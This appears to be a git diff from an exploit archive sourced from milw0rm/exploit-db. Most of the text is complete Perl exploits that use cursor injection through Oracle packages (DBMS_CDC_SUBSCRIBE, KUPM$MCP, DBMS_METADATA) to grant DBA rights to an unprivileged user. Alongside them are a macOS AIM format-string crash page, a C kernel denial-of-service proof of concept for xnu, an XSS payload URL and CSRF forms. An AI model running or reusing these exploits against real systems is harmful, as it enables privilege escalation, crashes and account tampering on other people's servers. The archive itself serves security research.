+    [-P     <port>     Oracle port]
+
+USAGE
+    exit 0
+}
+
+my $opt_string = 'h:s:u:p:grP:';
+getopts($opt_string, \%opt) or &usage;
+&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
+&usage if ( !$opt{g} and !$opt{r} );
+my $user = uc $opt{u};
+
+my $dbh = undef;
+if ($opt{P}) {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
+} else {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
+}
+
+my $sqlcmd = "GRANT DBA TO $user";
+print "[-] Wait...\n";
+$dbh->func( 1000000, 'dbms_output_enable' );
+
+
+if ($opt{r}) {
+    print "[-] Revoking DBA from $user...\n";
+    $sqlcmd = "REVOKE DBA FROM $user";
+    $dbh->do( $sqlcmd );
+    print "[-] Done!\n";
+    $dbh->disconnect;
+    exit;
+}
+
+print "[-] Creating evil cursor...\n";
+my $sth = $dbh->prepare(qq{
+DECLARE
+MYC NUMBER;
+BEGIN
+  MYC := DBMS_SQL.OPEN_CURSOR;
+  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
+  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
+END;
+} );
+$sth->execute;
+my $cursor = undef;
+while (my $line = $dbh->func( 'dbms_output_get' )) { 
+    print "$line\n";
+    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
+}
+$sth->finish;
+
+print "[-] Go ...(don't worry about errors)!\n";
+$sth = $dbh->prepare(qq{
+DECLARE
+ R CLOB;
+BEGIN
+ R := SYS.DBMS_METADATA.GET_DDL('''||dbms_sql.execute($cursor)||''','');
+END;
+});
+$sth->execute;
+$sth->finish;
+print "[-] YOU GOT THE POWAH!!\n";
+$dbh->disconnect;
+exit;
+
+# milw0rm.com [2007-02-26]
diff --git a/platforms/multiple/remote/3378.pl b/platforms/multiple/remote/3378.pl
index 3f46aaa8c..fb899dfe2 100755
--- a/platforms/multiple/remote/3378.pl
+++ b/platforms/multiple/remote/3378.pl
@@ -1,129 +1,129 @@
-#!/usr/bin/perl
-#
-# Remote Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit (9i/10g)
-#  - Version 2 - New "evil cursor injection" tip!
-#  - No "create procedure" privileg needed!
-#  - See: http://www.databasesecurity.com/ (Cursor Injection)
-#
-# Grant or revoke dba permission to unprivileged user
-# 
-# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-# 
-#   REF:    http://www.securityfocus.com/archive/1/396133
-#
-#   AUTHOR: Andrea "bunker" Purificato
-#           http://rawlab.mindcreations.com
-#
-#   DATE:   Copyright 2007 - Mon Feb 26 12:13:19 CET 2007
-#
-# Oracle InstantClient (basic + sdk) required for DBD::Oracle
-#
-#
-# bunker@fin:~$ perl dbms_cdc_subscribeV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_cdc_subscribeV2.pl line 92.
-#  [-] Done!
-# 
-# bunker@fin:~$ perl dbms_cdc_subscribeV2.pl -h localhost -s test -u bunker -p **** -g
-#  [-] Wait...
-#  [-] Creating evil cursor...
-#  Cursor: 2
-#  [-] Go ...(don't worry about errors)!
-#  DBD::Oracle::st execute failed: ORA-31425: subscription does not exist
-#  ORA-06512: at "SYS.DBMS_CDC_SUBSCRIBE", line 37
-#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
-#  BEGIN
-#    SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||dbms_sql.execute(2)||''');
-#  END;
-#  "] at dbms_cdc_subscribeV2.pl line 122.
-#  [-] YOU GOT THE POWAH!!
-# 
-# bunker@fin:~$ perl dbms_cdc_subscribeV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  [-] Done!
-#  
-
-use warnings;
-use strict;
-use DBI;
-use Getopt::Std;
-use vars qw/ %opt /;
-
-sub usage {
-    print <<"USAGE";
-    
-Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
-
-Options:
-     -h     <host>     target server address
-     -s     <sid>      target sid name
-     -u     <user>     user
-     -p     <passwd>   password 
-
-     -g|-r             (g)rant dba to user | (r)evoke dba from user
-    [-P     <port>     Oracle port]
-
-USAGE
-    exit 0
-}
-
-my $opt_string = 'h:s:u:p:grP:';
-getopts($opt_string, \%opt) or &usage;
-&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
-&usage if ( !$opt{g} and !$opt{r} );
-my $user = uc $opt{u};
-
-my $dbh = undef;
-if ($opt{P}) {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
-} else {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
-}
-
-my $sqlcmd = "GRANT DBA TO $user";
-print "[-] Wait...\n";
-$dbh->func( 1000000, 'dbms_output_enable' );
-
-
-if ($opt{r}) {
-    print "[-] Revoking DBA from $user...\n";
-    $sqlcmd = "REVOKE DBA FROM $user";
-    $dbh->do( $sqlcmd );
-    print "[-] Done!\n";
-    $dbh->disconnect;
-    exit;
-}
-
-print "[-] Creating evil cursor...\n";
-my $sth = $dbh->prepare(qq{
-DECLARE
-MYC NUMBER;
-BEGIN
-  MYC := DBMS_SQL.OPEN_CURSOR;
-  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
-  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
-END;
-} );
-$sth->execute;
-my $cursor = undef;
-while (my $line = $dbh->func( 'dbms_output_get' )) { 
-    print "$line\n";
-    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
-}
-$sth->finish;
-
-print "[-] Go ...(don't worry about errors)!\n";
-$sth = $dbh->prepare(qq{
-BEGIN
-  SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||dbms_sql.execute($cursor)||''');
-END;
-});
-$sth->execute;
-$sth->finish;
-print "[-] YOU GOT THE POWAH!!\n";
-$dbh->disconnect;
-exit;
-
-# milw0rm.com [2007-02-26]
+#!/usr/bin/perl
+#
+# Remote Oracle DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION exploit (9i/10g)
+#  - Version 2 - New "evil cursor injection" tip!
+#  - No "create procedure" privileg needed!
+#  - See: http://www.databasesecurity.com/ (Cursor Injection)
+#
+# Grant or revoke dba permission to unprivileged user
+# 
+# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
+# 
+#   REF:    http://www.securityfocus.com/archive/1/396133
+#
+#   AUTHOR: Andrea "bunker" Purificato
+#           http://rawlab.mindcreations.com
+#
+#   DATE:   Copyright 2007 - Mon Feb 26 12:13:19 CET 2007
+#
+# Oracle InstantClient (basic + sdk) required for DBD::Oracle
+#
+#
+# bunker@fin:~$ perl dbms_cdc_subscribeV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  DBD::Oracle::db do failed: ORA-01031: insufficient privileges (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at dbms_cdc_subscribeV2.pl line 92.
+#  [-] Done!
+# 
+# bunker@fin:~$ perl dbms_cdc_subscribeV2.pl -h localhost -s test -u bunker -p **** -g
+#  [-] Wait...
+#  [-] Creating evil cursor...
+#  Cursor: 2
+#  [-] Go ...(don't worry about errors)!
+#  DBD::Oracle::st execute failed: ORA-31425: subscription does not exist
+#  ORA-06512: at "SYS.DBMS_CDC_SUBSCRIBE", line 37
+#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
+#  BEGIN
+#    SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||dbms_sql.execute(2)||''');
+#  END;
+#  "] at dbms_cdc_subscribeV2.pl line 122.
+#  [-] YOU GOT THE POWAH!!
+# 
+# bunker@fin:~$ perl dbms_cdc_subscribeV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  [-] Done!
+#  
+
+use warnings;
+use strict;
+use DBI;
+use Getopt::Std;
+use vars qw/ %opt /;
+
+sub usage {
+    print <<"USAGE";
+    
+Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
+
+Options:
+     -h     <host>     target server address
+     -s     <sid>      target sid name
+     -u     <user>     user
+     -p     <passwd>   password 
+
+     -g|-r             (g)rant dba to user | (r)evoke dba from user
+    [-P     <port>     Oracle port]
+
+USAGE
+    exit 0
+}
+
+my $opt_string = 'h:s:u:p:grP:';
+getopts($opt_string, \%opt) or &usage;
+&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
+&usage if ( !$opt{g} and !$opt{r} );
+my $user = uc $opt{u};
+
+my $dbh = undef;
+if ($opt{P}) {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
+} else {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
+}
+
+my $sqlcmd = "GRANT DBA TO $user";
+print "[-] Wait...\n";
+$dbh->func( 1000000, 'dbms_output_enable' );
+
+
+if ($opt{r}) {
+    print "[-] Revoking DBA from $user...\n";
+    $sqlcmd = "REVOKE DBA FROM $user";
+    $dbh->do( $sqlcmd );
+    print "[-] Done!\n";
+    $dbh->disconnect;
+    exit;
+}
+
+print "[-] Creating evil cursor...\n";
+my $sth = $dbh->prepare(qq{
+DECLARE
+MYC NUMBER;
+BEGIN
+  MYC := DBMS_SQL.OPEN_CURSOR;
+  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
+  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
+END;
+} );
+$sth->execute;
+my $cursor = undef;
+while (my $line = $dbh->func( 'dbms_output_get' )) { 
+    print "$line\n";
+    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
+}
+$sth->finish;
+
+print "[-] Go ...(don't worry about errors)!\n";
+$sth = $dbh->prepare(qq{
+BEGIN
+  SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||dbms_sql.execute($cursor)||''');
+END;
+});
+$sth->execute;
+$sth->finish;
+print "[-] YOU GOT THE POWAH!!\n";
+$dbh->disconnect;
+exit;
+
+# milw0rm.com [2007-02-26]
diff --git a/platforms/multiple/remote/3584.pl b/platforms/multiple/remote/3584.pl
index dc39fdf36..bd376b82a 100755
--- a/platforms/multiple/remote/3584.pl
+++ b/platforms/multiple/remote/3584.pl
@@ -1,128 +1,128 @@
-#!/usr/bin/perl
-#
-# Remote Oracle KUPM$MCP.MAIN exploit (10g)
-#  - Version 2 - New "evil cursor injection" tip!
-#  - No "create procedure" privilege needed!
-#  - See: http://www.databasesecurity.com/ (Cursor Injection)
-#
-# Grant or revoke dba permission to unprivileged user
-# 
-# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
-# 
-#   REF:    http://www.red-database-security.com/
-#   
-#   AUTHOR: Andrea "bunker" Purificato
-#           http://rawlab.mindcreations.com
-#
-#   DATE:   Copyright 2007 - Tue Mar 27 10:46:55 CEST 2007
-#
-# Oracle InstantClient (basic + sdk) required for DBD::Oracle
-# 
-# 
-# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupm-mcpmainV2.pl line 104.
-#  [-] Done!
-# 
-# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -g
-#  [-] Wait...
-#  [-] Creating evil cursor...
-#  Cursor: 2
-#  [-] Go ...(don't worry about errors)!
-#  DBD::Oracle::st execute failed: ORA-06512: at "SYS.KUPM$MCP", line 874
-#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
-#  BEGIN
-#    SYS.KUPM$MCP.MAIN(''' AND 0=dbms_sql.execute(2)--','');
-#  END;
-#  "] at kupm-mcpmainV2.pl line 134.
-#  [-] YOU GOT THE POWAH!!
-# 
-# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
-#  [-] Wait...
-#  [-] Revoking DBA from BUNKER...
-#  [-] Done!
-#
-
-use warnings;
-use strict;
-use DBI;
-use Getopt::Std;
-use vars qw/ %opt /;
-
-sub usage {
-    print <<"USAGE";
-    
-Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
-
-Options:
-     -h     <host>     target server address
-     -s     <sid>      target sid name
-     -u     <user>     user
-     -p     <passwd>   password 
-
-     -g|-r             (g)rant dba to user | (r)evoke dba from user
-    [-P     <port>     Oracle port]
-
-USAGE
-    exit 0
-}
-
-my $opt_string = 'h:s:u:p:grP:';
-getopts($opt_string, \%opt) or &usage;
-&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
-&usage if ( !$opt{g} and !$opt{r} );
-my $user = uc $opt{u};
-
-my $dbh = undef;
-if ($opt{P}) {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
-} else {
-    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
-}
-
-my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
-print "[-] Wait...\n";
-$dbh->func( 1000000, 'dbms_output_enable' );
-
-
-if ($opt{r}) {
-    print "[-] Revoking DBA from $user...\n";
-    $sqlcmd = "REVOKE DBA FROM $user";
-    $dbh->do( $sqlcmd );
-    print "[-] Done!\n";
-    $dbh->disconnect;
-    exit;
-}
-
-print "[-] Creating evil cursor...\n";
-my $sth = $dbh->prepare(qq{
-DECLARE
-MYC NUMBER;
-BEGIN
-  MYC := DBMS_SQL.OPEN_CURSOR;
-  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
-  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
-END;
-} );
-$sth->execute;
-my $cursor = undef;
-while (my $line = $dbh->func( 'dbms_output_get' )) { 
-    print "$line\n";
-    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
-}
-$sth->finish;
-
-print "[-] Go ...(don't worry about errors)!\n";
-$sth = $dbh->prepare(qq{
-BEGIN
-  SYS.KUPM\$MCP.MAIN(''' AND 0=dbms_sql.execute($cursor)--','');
-END;
-});
-$sth->execute;
-$sth->finish;
-print "[-] YOU GOT THE POWAH!!\n";
-$dbh->disconnect;
-exit;
-
-# milw0rm.com [2007-03-27]
+#!/usr/bin/perl
+#
+# Remote Oracle KUPM$MCP.MAIN exploit (10g)
+#  - Version 2 - New "evil cursor injection" tip!
+#  - No "create procedure" privilege needed!
+#  - See: http://www.databasesecurity.com/ (Cursor Injection)
+#
+# Grant or revoke dba permission to unprivileged user
+# 
+# Tested on "Oracle Database 10g Enterprise Edition Release 10.1.0.3.0"
+# 
+#   REF:    http://www.red-database-security.com/
+#   
+#   AUTHOR: Andrea "bunker" Purificato
+#           http://rawlab.mindcreations.com
+#
+#   DATE:   Copyright 2007 - Tue Mar 27 10:46:55 CEST 2007
+#
+# Oracle InstantClient (basic + sdk) required for DBD::Oracle
+# 
+# 
+# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  DBD::Oracle::db do failed: ORA-01951: ROLE 'DBA' not granted to 'BUNKER' (DBD ERROR: OCIStmtExecute) [for Statement "REVOKE DBA FROM BUNKER"] at kupm-mcpmainV2.pl line 104.
+#  [-] Done!
+# 
+# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -g
+#  [-] Wait...
+#  [-] Creating evil cursor...
+#  Cursor: 2
+#  [-] Go ...(don't worry about errors)!
+#  DBD::Oracle::st execute failed: ORA-06512: at "SYS.KUPM$MCP", line 874
+#  ORA-06512: at line 3 (DBD ERROR: OCIStmtExecute) [for Statement "
+#  BEGIN
+#    SYS.KUPM$MCP.MAIN(''' AND 0=dbms_sql.execute(2)--','');
+#  END;
+#  "] at kupm-mcpmainV2.pl line 134.
+#  [-] YOU GOT THE POWAH!!
+# 
+# bunker@fin:~$ perl kupm-mcpmainV2.pl -h localhost -s test -u bunker -p **** -r
+#  [-] Wait...
+#  [-] Revoking DBA from BUNKER...
+#  [-] Done!
+#
+
+use warnings;
+use strict;
+use DBI;
+use Getopt::Std;
+use vars qw/ %opt /;
+
+sub usage {
+    print <<"USAGE";
+    
+Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>]
+
+Options:
+     -h     <host>     target server address
+     -s     <sid>      target sid name
+     -u     <user>     user
+     -p     <passwd>   password 
+
+     -g|-r             (g)rant dba to user | (r)evoke dba from user
+    [-P     <port>     Oracle port]
+
+USAGE
+    exit 0
+}
+
+my $opt_string = 'h:s:u:p:grP:';
+getopts($opt_string, \%opt) or &usage;
+&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
+&usage if ( !$opt{g} and !$opt{r} );
+my $user = uc $opt{u};
+
+my $dbh = undef;
+if ($opt{P}) {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
+} else {
+    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
+}
+
+my $sqlcmd = "GRANT ALL PRIVILEGE, DBA TO $user";
+print "[-] Wait...\n";
+$dbh->func( 1000000, 'dbms_output_enable' );
+
+
+if ($opt{r}) {
+    print "[-] Revoking DBA from $user...\n";
+    $sqlcmd = "REVOKE DBA FROM $user";
+    $dbh->do( $sqlcmd );
+    print "[-] Done!\n";
+    $dbh->disconnect;
+    exit;
+}
+
+print "[-] Creating evil cursor...\n";
+my $sth = $dbh->prepare(qq{
+DECLARE
+MYC NUMBER;
+BEGIN
+  MYC := DBMS_SQL.OPEN_CURSOR;
+  DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction; begin execute immediate ''$sqlcmd'';commit;end;',0);
+  DBMS_OUTPUT.PUT_LINE('Cursor: '||MYC);
+END;
+} );
+$sth->execute;
+my $cursor = undef;
+while (my $line = $dbh->func( 'dbms_output_get' )) { 
+    print "$line\n";
+    if ($line =~ /^Cursor: (\d)/) {$cursor = $1;}
+}
+$sth->finish;
+
+print "[-] Go ...(don't worry about errors)!\n";
+$sth = $dbh->prepare(qq{
+BEGIN
+  SYS.KUPM\$MCP.MAIN(''' AND 0=dbms_sql.execute($cursor)--','');
+END;
+});
+$sth->execute;
+$sth->finish;
+print "[-] YOU GOT THE POWAH!!\n";
+$dbh->disconnect;
+exit;
+
+# milw0rm.com [2007-03-27]
diff --git a/platforms/multiple/remote/745.cgi b/platforms/multiple/remote/745.cgi
index 62594a433..17982a5ed 100755
--- a/platforms/multiple/remote/745.cgi
+++ b/platforms/multiple/remote/745.cgi
@@ -144,6 +144,6 @@ value="uptime"></td></tr>
 <tr><td colspan="3" align="center"><input type="submit" name=""
 value="Gooooooo!"></td></tr>
 </form></table></body></html>~;
-}
-
-# milw0rm.com [2005-01-08]
+}
+
+# milw0rm.com [2005-01-08]
diff --git a/platforms/multiple/remote/746.pl b/platforms/multiple/remote/746.pl
index d7047cb42..96a4a8872 100755
--- a/platforms/multiple/remote/746.pl
+++ b/platforms/multiple/remote/746.pl
@@ -153,6 +153,6 @@ if ($sock){
         }
      }
   }
-}
-
-# milw0rm.com [2005-01-08]
+}
+
+# milw0rm.com [2005-01-08]
diff --git a/platforms/multiple/webapps/10821.txt b/platforms/multiple/webapps/10821.txt
index c8751af92..81016b398 100755
--- a/platforms/multiple/webapps/10821.txt
+++ b/platforms/multiple/webapps/10821.txt
@@ -1,4 +1,3 @@
-
  Application: WingFTP Server 3.2.4 (maybe earlier versions too)
  Link: http://www.wftpserver.com/
  Vulnerability: CSRF
diff --git a/platforms/osx/dos/3166.html b/platforms/osx/dos/3166.html
index faf756296..42acc6f3b 100755
--- a/platforms/osx/dos/3166.html
+++ b/platforms/osx/dos/3166.html
@@ -1,21 +1,21 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
-	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
-<html>
-	<head>
-		<title>MOAB-20-01-2007</title>
-		<script>
-			function boom() {
-				var str = '';
-				for (var i = 0; i < 20; i++) {
-				    str = str + escape('A%n');
-				}
-				str = 'aim:gochat?roomname=' + str;
-				window.location = str;
-			}
-		</script>
-	</head>
-	<body onload="boom()">
-	</body>
-</html>
-
-# milw0rm.com [2007-01-21]
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
+	"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+<html>
+	<head>
+		<title>MOAB-20-01-2007</title>
+		<script>
+			function boom() {
+				var str = '';
+				for (var i = 0; i < 20; i++) {
+				    str = str + escape('A%n');
+				}
+				str = 'aim:gochat?roomname=' + str;
+				window.location = str;
+			}
+		</script>
+	</head>
+	<body onload="boom()">
+	</body>
+</html>
+
+# milw0rm.com [2007-01-21]
diff --git a/platforms/osx/dos/8265.c b/platforms/osx/dos/8265.c
index ea93989d1..b8c9d71d0 100755
--- a/platforms/osx/dos/8265.c
+++ b/platforms/osx/dos/8265.c
@@ -1,73 +1,73 @@
-/* xnu-vfssysctl-dos.c
- *
- * Copyright (c) 2008 by <mu-b@digit-labs.org>
- *
- * Apple MACOS X xnu <= 1228.x local kernel DoS POC
- * by mu-b - Wed 19 Nov 2008
- *
- * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
- *
- *    - Private Source Code -DO NOT DISTRIBUTE -
- * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
- */
-
-#include <stdio.h>
-#include <stdlib.h>
-
-#include <hfs/hfs_mount.h>
-#include <pthread.h>
-#include <string.h>
-#include <sys/mount.h>
-#include <sys/types.h>
-#include <sys/sysctl.h>
-#include <unistd.h>
-
-void
-hammer (void *arg)
-{
-  char buf[1024 * (255 + 1)];
-  int n, name[6];
-
-  memset (buf, 0, sizeof buf);
-
-  while (1)
-    {
-      name[0] = CTL_VFS;
-      name[1] = 17;
-      name[2] = HFS_SET_PKG_EXTENSIONS;
-      name[3] = (int) buf;
-      name[4] = 1024;
-      name[5] = (rand () % 254) + 1;
-      n = sysctl (name, 6, NULL, NULL, NULL, 0);
-
-      usleep(10);
-    }
-}
-
-int
-main (int argc, char **argv)
-{
-  int i, n, tid;
-
-  printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
-          "by: <mu-b@digit-labs.org>\n"
-          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
-
-  for (i = 0; i < 4; i++)
-    {
-      n = pthread_create (&tid, NULL, hammer, NULL);
-      if (n < 0)
-        {
-          fprintf (stderr, "failed creating hammer thread\n");
-          return (EXIT_FAILURE);
-        }
-    }
-
-  while (1)
-    sleep (1);
-
-  /* not reached! */
-  return (EXIT_SUCCESS);
-}
-
-// milw0rm.com [2009-03-23]
+/* xnu-vfssysctl-dos.c
+ *
+ * Copyright (c) 2008 by <mu-b@digit-labs.org>
+ *
+ * Apple MACOS X xnu <= 1228.x local kernel DoS POC
+ * by mu-b - Wed 19 Nov 2008
+ *
+ * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
+ *
+ *    - Private Source Code -DO NOT DISTRIBUTE -
+ * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include <hfs/hfs_mount.h>
+#include <pthread.h>
+#include <string.h>
+#include <sys/mount.h>
+#include <sys/types.h>
+#include <sys/sysctl.h>
+#include <unistd.h>
+
+void
+hammer (void *arg)
+{
+  char buf[1024 * (255 + 1)];
+  int n, name[6];
+
+  memset (buf, 0, sizeof buf);
+
+  while (1)
+    {
+      name[0] = CTL_VFS;
+      name[1] = 17;
+      name[2] = HFS_SET_PKG_EXTENSIONS;
+      name[3] = (int) buf;
+      name[4] = 1024;
+      name[5] = (rand () % 254) + 1;
+      n = sysctl (name, 6, NULL, NULL, NULL, 0);
+
+      usleep(10);
+    }
+}
+
+int
+main (int argc, char **argv)
+{
+  int i, n, tid;
+
+  printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
+          "by: <mu-b@digit-labs.org>\n"
+          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");
+
+  for (i = 0; i < 4; i++)
+    {
+      n = pthread_create (&tid, NULL, hammer, NULL);
+      if (n < 0)
+        {
+          fprintf (stderr, "failed creating hammer thread\n");
+          return (EXIT_FAILURE);
+        }
+    }
+
+  while (1)
+    sleep (1);
+
+  /* not reached! */
+  return (EXIT_SUCCESS);
+}
+
+// milw0rm.com [2009-03-23]
diff --git a/platforms/osx/local/30096.txt b/platforms/osx/local/30096.txt
new file mode 100755
index 000000000..22e82fe36
--- /dev/null
+++ b/platforms/osx/local/30096.txt
@@ -0,0 +1,11 @@
+source: http://www.securityfocus.com/bid/24208/info
+
+Apple Mac OS X's VPN service daemon is prone to a format-string vulnerability because it fails to properly sanitize user-supplied input before passing it as the format specifier to a formatted-printing function.
+
+Attackers may exploit this issue to crash the application or execute arbitrary code with superuser privileges. Successful exploits can result in a complete compromise of vulnerable computers.
+
+Apple Mac OS X Server 10.4.9 and prior versions are vulnerable to this issue.
+
+This issue was originally included in BID 24144 (Apple Mac OS X 2007-005 Multiple Security Vulnerabilities), but has been given its own record. 
+
+http://www.exploit-db.com/sploits/30096.tar.gz
\ No newline at end of file
diff --git a/platforms/php/webapps/10419.txt b/platforms/php/webapps/10419.txt
index 1cc803547..60f4ca6a7 100755
--- a/platforms/php/webapps/10419.txt
+++ b/platforms/php/webapps/10419.txt
@@ -45,7 +45,7 @@ This exploit will change this info for every user that opens it and is logged in
   <input type='hidden' name='showprofile' value='1'>
   <input type='hidden' name='avatar' value=''>
   <input type='hidden' name='forumtemplate' value='1'>
-  <textarea name='signature'>Free your mind and the ass will follow.</textarea>
+  <textarea name='signature'>Free your mind and the ass will follow.&lt;/textarea&gt;
   <input type='submit' name='submit' value='change details'>
 </form>
 
@@ -66,7 +66,7 @@ Admins must run this exploit.
   <input type='text' name='email' value='email@mail.com<mailto:email@mail.com>'>
   <input type='text' name='rank' value='0'>
   <input type='hidden' name='isbanned' value='No'>
-  <textarea name='sig'>this is my signature</textarea>
+  <textarea name='sig'>this is my signature&lt;/textarea&gt;
   <input type='submit' name='submit' value='Edit This user'>
 </form>
 
diff --git a/platforms/php/webapps/10555.txt b/platforms/php/webapps/10555.txt
index d0fce0bfe..6a9bbc46e 100755
--- a/platforms/php/webapps/10555.txt
+++ b/platforms/php/webapps/10555.txt
@@ -1,4 +1,3 @@
-
 Pentest Information:
 ====================
 GESEC Team (~remove) discover a input validation vulnerability on Barracuda - Web Application Firewall 660 (Appliance).
diff --git a/platforms/php/webapps/10621.txt b/platforms/php/webapps/10621.txt
index 8349f0bf9..e9820c420 100755
--- a/platforms/php/webapps/10621.txt
+++ b/platforms/php/webapps/10621.txt
@@ -1,4 +1,3 @@
-
                           ||          ||   | ||
                    o_,_7 _||  . _o_7 _|| 4_|_||  o_w_,
                   ( :   /    (_)    /           (   .
diff --git a/platforms/php/webapps/10726.txt b/platforms/php/webapps/10726.txt
index e711948d1..24b2e53e9 100755
--- a/platforms/php/webapps/10726.txt
+++ b/platforms/php/webapps/10726.txt
@@ -1,4 +1,3 @@
-
 ====================================================================================
 [+]  Info Fisier 1.0  SQL Injection Vulnerability  
 
diff --git a/platforms/php/webapps/10924.txt b/platforms/php/webapps/10924.txt
index abb603827..bb0ca6bcc 100755
--- a/platforms/php/webapps/10924.txt
+++ b/platforms/php/webapps/10924.txt
@@ -18,7 +18,7 @@
  
  1- XSS
 
-http://server/tell_frend.php?name=indoushka&email=indoushka%40hotmaill%2Ecom&name1=tchalla06@yahoo.fr&email1=Hussin-x&submitok=1&link=</textarea><ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>
+http://server/tell_frend.php?name=indoushka&email=indoushka%40hotmaill%2Ecom&name1=tchalla06@yahoo.fr&email1=Hussin-x&submitok=1&link=&lt;/textarea&gt;<ScRiPt%20%0a%0d>alert(213771818860)%3B</ScRiPt>
 
 
 ================================   Dz-Ghost Team   ========================================
diff --git a/platforms/php/webapps/1106.txt b/platforms/php/webapps/1106.txt
index 6687739fd..1abbfcf5d 100755
--- a/platforms/php/webapps/1106.txt
+++ b/platforms/php/webapps/1106.txt
@@ -8,6 +8,6 @@ Credits to Nick Griffin.
 */
 
